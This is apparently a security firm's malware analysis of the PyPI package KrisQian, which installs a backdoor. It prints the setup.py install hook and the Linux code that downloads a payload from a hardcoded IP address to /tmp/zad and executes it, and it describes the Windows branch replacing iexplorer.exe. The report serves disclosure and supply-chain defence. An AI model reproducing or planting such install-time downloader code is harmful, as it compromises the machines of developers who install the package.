Malicious Python package KrisQian installs a backdoor

Reported Jan 04, 2022 by Ajinkya Rajput

KrisQian
installs a backdoor malicious

KrisWuQian

17 Sep, 2021
PyPi Versions 7
KrisWu
KrisWuQian@baidu.com

Our static analysis module flagged package KrisQian==0.0.7 as suspicious. So we decided to take a deeper look at the code, particularly the statements that were flagged by our technology as "risky". Upon further review we found that the package is indeed fishy! Here we discuss our findings.

At Ossillate, we are building a large-scale security analysis platform to vet PyPI Python packages for software supply chain attacks. Our free CLI and CI/CD tools can help developers adopt pre-vetted third-party open-source packages and ship faster.

Python package installation begins from setup(...) function call in setup.py file. The setup function accpets 'cmdclass' keyword argument that modifies the behaviour of package management commands.

setup(
    name='KrisQian',
    version='0.0.7',
    author='KrisWu',
    author_email='KrisWuQian@baidu.com',
    url='https://www.bilibili.com/bangumi/media/md140632',
    description=u'KrisWuQian',
    packages=['KrisQian'],
    install_requires=[],
    cmdclass={
        'install': AbortInstall
    },
    entry_points={
        'console_scripts': [
            'jujube=KrisQian:jujube',
            'pill=KrisQian:pill'
        ]
    }
)

Code snippet above shows an excerpt from setup.py file in KrisQuan package. The custom behaviour to be executed for "install" pip command is defined AbortInstall class. The AbortInstall class defines a run function which calls inst() function while raising a SystemExit exception. AbortInstall class is shown here

class AbortInstall(install):
    def run(self):
        raise SystemExit(
            # os.system("notepad")
            inst()
        )

Permissions

Show details

The malicious code in this malware is present in inst() function. The behavior of the malware diverges for windows and linux. On linux the malware downloads a payload from an url and stores it to file /tmp/zad. It adds permissions to this file and spawns a subprocess that executes the downloaded payload.

if platform.system() == "Linux":
            sfile = "/tmp/zad"
            if not os.path.exists(sfile):
                url = 'http://10.48.121.182:55412/kLxXnDlcuy'
                f = request.urlopen(url)
                data = f.read()
                with open(sfile, "wb") as code:
                    code.write(data)
                os.chmod(sfile,777)
                subprocess.Popen("/tmp/zad > /tmp/log 2>&1 &", shell=True)

On windows, the malware replaces the PE file iexplorer.exe with a downloaded payload. Originally iexplorer.exe is the default Internet Explorer browser. The downloaed payload is executed next time the iexplorer.exe is launched.

We reported our findings to PyPI maintainers, and they have yanked this package.